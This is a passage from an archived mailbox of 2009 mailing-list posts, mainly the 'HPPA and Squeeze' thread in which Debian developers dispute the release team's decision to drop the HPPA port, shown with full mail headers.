In-Reply-To: <1245242459.4503.4.camel@mulgrave.site>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:3846 gmane.linux.kernel:853345 gmane.linux.ports.parisc:1769
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1769>

On Wed, Jun 17, 2009 at 08:40:59AM -0400, James Bottomley wrote:
> > * parisc (broken, under investigation)
> 
> I haven't seen anything of this on the parisc list ... what's the
> problem?  and do you need systems or any other help to fix it?
> 

Ah, maybe that was only on linux-kernel or in private mail; we're
oops-ing again in the oops-handler... I almost had this debugged last
weekend, but ran out of time.

From - Thu Nov 08 21:04:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Thu, 18 Jun 2009 01:54:36 +0200
Lines: 60
Approved: news@gmane.org
Message-ID: <4A39823C.8070104@debian.org>
References: <20090602140734.GC26721@mx0.halon.org.uk> <20090606183600.GA425@lackof.org> <4A31FA76.20103@debian.org> <20090615173102.GC2690@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245282900 18280 80.91.229.12 (17 Jun 2009 23:55:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 17 Jun 2009 23:55:00 +0000 (UTC)
Cc: Luk Claes <luk@debian.org>,
	HPPA porters <debian-hppa@lists.debian.org>,
	Debian Release <debian-release@lists.debian.org>,
	admin@debian-ports.org, linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 18 01:54:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MH4y0-0007bc-Uu
	for glpp-linux-parisc@gmane.org; Thu, 18 Jun 2009 01:54:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752067AbZFQXyw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Jun 2009 19:54:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752525AbZFQXyw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 17 Jun 2009 19:54:52 -0400
Original-Received: from adelie.canonical.com ([91.189.90.139]:43638 "EHLO
	adelie.canonical.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752067AbZFQXyv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Jun 2009 19:54:51 -0400
Original-Received: from hutte.canonical.com ([91.189.90.181])
	by adelie.canonical.com with esmtp (Exim 4.69 #1 (Debian))
	id 1MH4xk-0006C3-Ct; Thu, 18 Jun 2009 00:54:40 +0100
Original-Received: from dslb-088-073-105-247.pools.arcor-ip.net ([88.73.105.247] helo=[192.168.42.17])
	by hutte.canonical.com with esmtpsa (TLS-1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <doko@debian.org>)
	id 1MH4xk-0005yk-4O; Thu, 18 Jun 2009 00:54:40 +0100
User-Agent: Thunderbird 2.0.0.21 (X11/20090409)
In-Reply-To: <20090615173102.GC2690@lackof.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1770 gmane.linux.debian.ports.hppa:5764 gmane.linux.debian.devel.release:30813
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1770>

Grant Grundler schrieb:
> On Fri, Jun 12, 2009 at 08:49:26AM +0200, Luk Claes wrote:
>> Grant Grundler wrote:
>>> +linux-parisc (hppa kernel, compiler and !debian tech forum)
>>>
>>> Neil,
>>> thanks for the summary. I know this is an unpleasant business in general.
>>>
>>> On Tue, Jun 02, 2009 at 03:07:35PM +0100, Neil McGovern wrote:
>>>> Hi,
>>>>
>>>> As mentioned previously[0], the release team haven't been happy with the
>>>> state of the HPPA port in Debian. After the release team meeting[1], it
>>>> has been decided that unfortunatly HPPA will not be supported for
>>>> Squeeze. This was after careful consideration, and wasn't an easy
>>>> decision.
>>>>
>>>> This means that ftpmasters will be asked to remove HPPA from testing and
>>>> unstable from the 30th June. It is suggested that HPPA porters may wish
>>>> to consider using debian-ports.org if they wish to continue with the
>>>> port.
>>>>
>>>> Regards,
>>>> Neil McGovern
>>>>
>>>> [0] http://lists.debian.org/debian-release/2009/04/msg00299.html
>>> Carlos O'Donnell asked some questions in response to [0] and I never
>>> saw any response.  Can an attendee of the above meeting please reply
>>> this email from Carlos?
>>>
>>>     http://lists.debian.org/debian-release/2009/04/msg00303.html
>> Note that it's wrong to assume we will come with the answers.
> 
> I was expecting a summary of specific issues from an organization
> that claims to operate transperently.  The hand waving is easy. But
> doesn't resolve problems and doesn't meet my expectation of an "open"
> organization that I've donated money, time, and materials to.

+1. dropping hppa as a release architecture was not communicated by the release
team at all.  I did spend some time to get gcj / default-jdk working on hppa,
and some money (buying a new disk for a hppa machine) to help this port.  The
time and the money could have spent better, if d-r would have better
communicated about their intent.

hppa is not in a good shape, but there are other architectures which are not
better (sparc, mips*) from a toolchain point of view. what about these?

there are issues pointed out and not addressed like the -dev / -headers packages
 built as binary independent packages just to save disk space, which have an
impact on "slow" architectures, and which are not addressed by the release team.
would the release team mind addressing these real issues, or should we drop
"slow" architectures as well?

  Matthias

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Wed, 17 Jun 2009 21:35:09 -0400 (EDT)
Lines: 89
Approved: news@gmane.org
Message-ID: <20090618013510.0484B4FE2@hiauly1.hia.nrc.ca>
References: <4A39823C.8070104@debian.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245288918 30164 80.91.229.12 (18 Jun 2009 01:35:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Jun 2009 01:35:18 +0000 (UTC)
Cc: grundler@parisc-linux.org, luk@debian.org,
	debian-hppa@lists.debian.org, debian-release@lists.debian.org,
	admin@debian-ports.org, linux-parisc@vger.kernel.org
To: doko@debian.org (Matthias Klose)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 18 03:35:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MH6X3-0007Jc-Nc
	for glpp-linux-parisc@gmane.org; Thu, 18 Jun 2009 03:35:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751698AbZFRBfJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Jun 2009 21:35:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752012AbZFRBfJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 17 Jun 2009 21:35:09 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2607 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751698AbZFRBfI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Jun 2009 21:35:08 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 0484B4FE2; Wed, 17 Jun 2009 21:35:09 -0400 (EDT)
In-Reply-To: <4A39823C.8070104@debian.org> from "Matthias Klose" at Jun 18, 2009 01:54:36 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1771 gmane.linux.debian.ports.hppa:5765 gmane.linux.debian.devel.release:30814
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1771>

> Grant Grundler schrieb:
> > On Fri, Jun 12, 2009 at 08:49:26AM +0200, Luk Claes wrote:
> >> Grant Grundler wrote:
> >>> +linux-parisc (hppa kernel, compiler and !debian tech forum)
> >>>
> >>> Neil,
> >>> thanks for the summary. I know this is an unpleasant business in general.
> >>>
> >>> On Tue, Jun 02, 2009 at 03:07:35PM +0100, Neil McGovern wrote:
> >>>> Hi,
> >>>>
> >>>> As mentioned previously[0], the release team haven't been happy with the
> >>>> state of the HPPA port in Debian. After the release team meeting[1], it
> >>>> has been decided that unfortunatly HPPA will not be supported for
> >>>> Squeeze. This was after careful consideration, and wasn't an easy
> >>>> decision.
> >>>>
> >>>> This means that ftpmasters will be asked to remove HPPA from testing and
> >>>> unstable from the 30th June. It is suggested that HPPA porters may wish
> >>>> to consider using debian-ports.org if they wish to continue with the
> >>>> port.
> >>>>
> >>>> Regards,
> >>>> Neil McGovern
> >>>>
> >>>> [0] http://lists.debian.org/debian-release/2009/04/msg00299.html
> >>> Carlos O'Donnell asked some questions in response to [0] and I never
> >>> saw any response.  Can an attendee of the above meeting please reply
> >>> this email from Carlos?
> >>>
> >>>     http://lists.debian.org/debian-release/2009/04/msg00303.html
> >> Note that it's wrong to assume we will come with the answers.
> > 
> > I was expecting a summary of specific issues from an organization
> > that claims to operate transperently.  The hand waving is easy. But
> > doesn't resolve problems and doesn't meet my expectation of an "open"
> > organization that I've donated money, time, and materials to.
> 
> +1. dropping hppa as a release architecture was not communicated by the release
> team at all.  I did spend some time to get gcj / default-jdk working on hppa,
> and some money (buying a new disk for a hppa machine) to help this port.  The
> time and the money could have spent better, if d-r would have better
> communicated about their intent.

I totally understand your frustration.  I have spent thousands of hours
supporting hppa.  At my current rate, this would be...

I believe that intent to drop an architecture should be communicated well
in advance of the fact.  Not doing so will alienate the developer and
user communities.

> hppa is not in a good shape, but there are other architectures which are not
> better (sparc, mips*) from a toolchain point of view. what about these?

Sparc still exists as a mainframe architecture.  If you can afford a
high end server, it's probably not that slow.  64 processors, 256 cores,
and 512 threads at 2.52 GHz can't be all that bad ;)

As you know, it takes a lot of effort to keep a tool chain up to date.
If a manufacturer doesn't provide the support that is needed to keep
the tool chain going, then the open source support for it will die.
It can't be done without access to a variety of hardware, and documentation
that may be proprietary.

Mips and arm are primarily embedded architectures.  Unless one of
these manages to achieve market success as a low-end programmable device
running linux, the user community is going to be limited to the developers
working on products using these devices.  The workstation and server
market using mips is dead.

I was able to build up the tools I need for a Linux arm board in a few
days.  Thus, I don't really see the need for Debian to try to maintain
full blown builds and releases for these architectures.  Certainly,
there's a lot applications for linux in board products, but it's very
product specific.

I can understand the desire to trim architectures.  However, it's clear
the current decision was based on some misinformation, and an unclear
rational.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Luk Claes <luk@debian.org>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release,gmane.linux.ports.parisc
Subject: Re: HPPA and Squeeze
Date: Thu, 18 Jun 2009 08:29:10 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <4A39DEB6.2080803@debian.org>
References: <20090602140734.GC26721@mx0.halon.org.uk> <20090606183600.GA425@lackof.org> <4A31FA76.20103@debian.org> <20090615173102.GC2690@lackof.org> <4A39823C.8070104@debian.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245306252 780 80.91.229.12 (18 Jun 2009 06:24:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Jun 2009 06:24:12 +0000 (UTC)
Cc: Debian Release <debian-release@lists.debian.org>, 
 linux-parisc@vger.kernel.org
To: HPPA porters <debian-hppa@lists.debian.org>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Thu Jun 18 08:24:10 2009
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MHB2g-0001N7-IL
	for debian-hppa@m.gmane.org; Thu, 18 Jun 2009 08:24:10 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id C75AE13A56D4; Thu, 18 Jun 2009 06:24:07 +0000 (UTC)
Old-Return-Path: <luk@debian.org>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-10.9 required=4.0 tests=FOURLA,LDOSUBSCRIBER,
	LDO_WHITELIST autolearn=failed version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id 37F7213A559A
	for <lists-debian-hppa@liszt.debian.org>; Thu, 18 Jun 2009 06:24:01 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-6.9 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5] autolearn=ham
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id Ah-ySrW7g-53 for <lists-debian-hppa@liszt.debian.org>;
	Thu, 18 Jun 2009 06:23:56 +0000 (UTC)
Original-Received: from mailrelay009.isp.belgacom.be (mailrelay009.isp.belgacom.be [195.238.6.176])
	by liszt.debian.org (Postfix) with ESMTP id 5722713A54E0;
	Thu, 18 Jun 2009 06:23:56 +0000 (UTC)
X-Belgacom-Dynamic: yes
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AlwCAC56OUpbs6NL/2dsb2JhbAAI0haECAU
Original-Received: from unknown (HELO [192.168.2.7]) ([91.179.163.75])
  by relay.skynet.be with ESMTP; 18 Jun 2009 08:23:53 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.19 (X11/20090103)
In-Reply-To: <4A39823C.8070104@debian.org>
X-Enigmail-Version: 0.95.0
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <r-cEn26iwL.A.pYG.H2dOKB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6764
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Thu, 18 Jun 2009 06:24:07 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:5766 gmane.linux.debian.devel.release:30816 gmane.linux.ports.parisc:1772
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1772>

Matthias Klose wrote:
> Grant Grundler schrieb:
>> On Fri, Jun 12, 2009 at 08:49:26AM +0200, Luk Claes wrote:
>>> Grant Grundler wrote:

>>>> On Tue, Jun 02, 2009 at 03:07:35PM +0100, Neil McGovern wrote:

>>>>     http://lists.debian.org/debian-release/2009/04/msg00303.html
>>> Note that it's wrong to assume we will come with the answers.
>> I was expecting a summary of specific issues from an organization
>> that claims to operate transperently.  The hand waving is easy. But
>> doesn't resolve problems and doesn't meet my expectation of an "open"
>> organization that I've donated money, time, and materials to.
> 
> +1. dropping hppa as a release architecture was not communicated by the release
> team at all.  I did spend some time to get gcj / default-jdk working on hppa,
> and some money (buying a new disk for a hppa machine) to help this port.  The
> time and the money could have spent better, if d-r would have better
> communicated about their intent.

There are issues with the hppa port where the release team considered
dropping it since 2005 communicated to the porter list...

> hppa is not in a good shape, but there are other architectures which are not
> better (sparc, mips*) from a toolchain point of view. what about these?

I'm not aware of current toolchain issues on sparc and the issues on
mips* still seem to be manageable, no?

> there are issues pointed out and not addressed like the -dev / -headers packages
>  built as binary independent packages just to save disk space, which have an
> impact on "slow" architectures, and which are not addressed by the release team.
> would the release team mind addressing these real issues, or should we drop
> "slow" architectures as well?

Well, this Packages issue is clearly a responsability from the FTP Team
and the Release Team would indeed be very happy to have that resolved.

Cheers

Luk



From - Thu Nov 08 21:04:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Luk Claes <luk@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Thu, 18 Jun 2009 08:33:14 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <4A39DFAA.30803@debian.org>
References: <20090618013510.0484B4FE2@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245306487 1267 80.91.229.12 (18 Jun 2009 06:28:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Jun 2009 06:28:07 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, debian-release@lists.debian.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 18 08:28:04 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MHB6P-0002Mo-06
	for glpp-linux-parisc@gmane.org; Thu, 18 Jun 2009 08:28:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757641AbZFRG14 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Jun 2009 02:27:56 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758152AbZFRG14
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 18 Jun 2009 02:27:56 -0400
Original-Received: from mailrelay009.isp.belgacom.be ([195.238.6.176]:29200 "EHLO
	mailrelay009.isp.belgacom.be" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757641AbZFRG1z (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Jun 2009 02:27:55 -0400
X-Belgacom-Dynamic: yes
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AlwCAC56OUpbs6NL/2dsb2JhbAAI0haECAU
Original-Received: from unknown (HELO [192.168.2.7]) ([91.179.163.75])
  by relay.skynet.be with ESMTP; 18 Jun 2009 08:27:57 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.19 (X11/20090103)
In-Reply-To: <20090618013510.0484B4FE2@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 0.95.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1773 gmane.linux.debian.ports.hppa:5767 gmane.linux.debian.devel.release:30817
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1773>

John David Anglin wrote:
>> Grant Grundler schrieb:
>>> On Fri, Jun 12, 2009 at 08:49:26AM +0200, Luk Claes wrote:
>>>> Grant Grundler wrote:

> I can understand the desire to trim architectures.  However, it's clear
> the current decision was based on some misinformation, and an unclear
> rational.

There is no desire to trim working architectures.

It's very easy to tell there is nothing wrong when you don't have to
deal with unreliable build daemons, endless discussions but no visible
progress (except for java support) and complaints from DSA, package
maintainers and others.

Cheers

Luk
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Thu, 18 Jun 2009 17:40:28 +0800
Lines: 37
Approved: news@gmane.org
Message-ID: <4A3A0B8C.9070104@tausq.org>
References: <20090618013510.0484B4FE2@hiauly1.hia.nrc.ca> <4A39DFAA.30803@debian.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245318044 1634 80.91.229.12 (18 Jun 2009 09:40:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Jun 2009 09:40:44 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	debian-hppa@lists.debian.org, debian-release@lists.debian.org,
	linux-parisc@vger.kernel.org
To: Luk Claes <luk@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 18 11:40:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MHE6m-000252-Gj
	for glpp-linux-parisc@gmane.org; Thu, 18 Jun 2009 11:40:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752358AbZFRJkc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Jun 2009 05:40:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755381AbZFRJkc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 18 Jun 2009 05:40:32 -0400
Original-Received: from wf-out-1314.google.com ([209.85.200.170]:23668 "EHLO
	wf-out-1314.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752358AbZFRJkb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Jun 2009 05:40:31 -0400
Original-Received: by wf-out-1314.google.com with SMTP id 26so486981wfd.4
        for <linux-parisc@vger.kernel.org>; Thu, 18 Jun 2009 02:40:34 -0700 (PDT)
Original-Received: by 10.143.3.16 with SMTP id f16mr916414wfi.344.1245318033961;
        Thu, 18 Jun 2009 02:40:33 -0700 (PDT)
Original-Received: from ?192.168.100.52? (ip127.bb146.pacific.net.hk [202.64.146.127])
        by mx.google.com with ESMTPS id 30sm249537wfa.15.2009.06.18.02.40.31
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Thu, 18 Jun 2009 02:40:33 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.21 (Windows/20090302)
In-Reply-To: <4A39DFAA.30803@debian.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1774 gmane.linux.debian.ports.hppa:5768 gmane.linux.debian.devel.release:30821
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1774>

Luk,
> There is no desire to trim working architectures.
>
> It's very easy to tell there is nothing wrong when you don't have to
> deal with unreliable build daemons, endless discussions but no visible
> progress (except for java support) and complaints from DSA, package
> maintainers and others.
>   
If you looked at https://buildd.debian.org/stats/graph-big.png  I think 
it is obvious hppa is not *that* broken. hppa is >95% built. That is not 
that bad. Of course, it can be better, but if you looked at this with a 
historical perspective the port is really in a pretty good shape.

If you looked at the status of the toolchain posted to the 
gcc-testresults page: http://gcc.gnu.org/ml/gcc-testresults/2009-06/  
you can see that hppa is one of the better architectures out there. Our 
results are on par with (if not better than) other supported architectures.

IMHO hppa contributed a lot to getting Debian packages (and upstream) 
properly fixed to build properly across many other architectures and 
making it easier for new architectures to get incorporated into Debian. 
It's unfortunate that parisc is no longer a commercially popular 
platform, but why should not affect whether Debian supports it?

It's obvious from the recent exchange that there are still people on the 
hppa team (and other Debian maintainers) that are willing to work on 
this architecture to make things better. Also by many metrics it is 
still very much a working architecture. It's really a shame that 
Debian's considering dropping support for HPPA in Squeeze. Please 
reconsider.

randolph
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Thu, 18 Jun 2009 12:16:19 +0200
Lines: 56
Approved: news@gmane.org
Message-ID: <7d01f9f00906180316t1ec13cb2h435d77fefd3cc3d7@mail.gmail.com>
References: <20090618013510.0484B4FE2@hiauly1.hia.nrc.ca>
	 <4A39DFAA.30803@debian.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1245320188 8209 80.91.229.12 (18 Jun 2009 10:16:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Jun 2009 10:16:28 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	debian-hppa@lists.debian.org, debian-release@lists.debian.org,
	linux-parisc@vger.kernel.org
To: Luk Claes <luk@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 18 12:16:25 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MHEfP-0004rz-B6
	for glpp-linux-parisc@gmane.org; Thu, 18 Jun 2009 12:16:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753298AbZFRKQT convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Jun 2009 06:16:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756815AbZFRKQT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 18 Jun 2009 06:16:19 -0400
Original-Received: from mail-fx0-f212.google.com ([209.85.220.212]:43186 "EHLO
	mail-fx0-f212.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753298AbZFRKQS convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Jun 2009 06:16:18 -0400
Original-Received: by fxm8 with SMTP id 8so920661fxm.37
        for <linux-parisc@vger.kernel.org>; Thu, 18 Jun 2009 03:16:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=sNHny4tGRIN9NLNuQF3HspF66gru11WR+BWKKdTF3D0=;
        b=wQ0vQFe4YDzBBP1x3Fme1imIZh7oSpycfkXMwMpqUpxh6uGxzY2h1Fa8DQBfbiGOlU
         tOypjdm6e5RIV3OPzSbxusv/aivuepryF3LSQLb+kGUc3nzHkpqebgtH32DSEp9lOQ6l
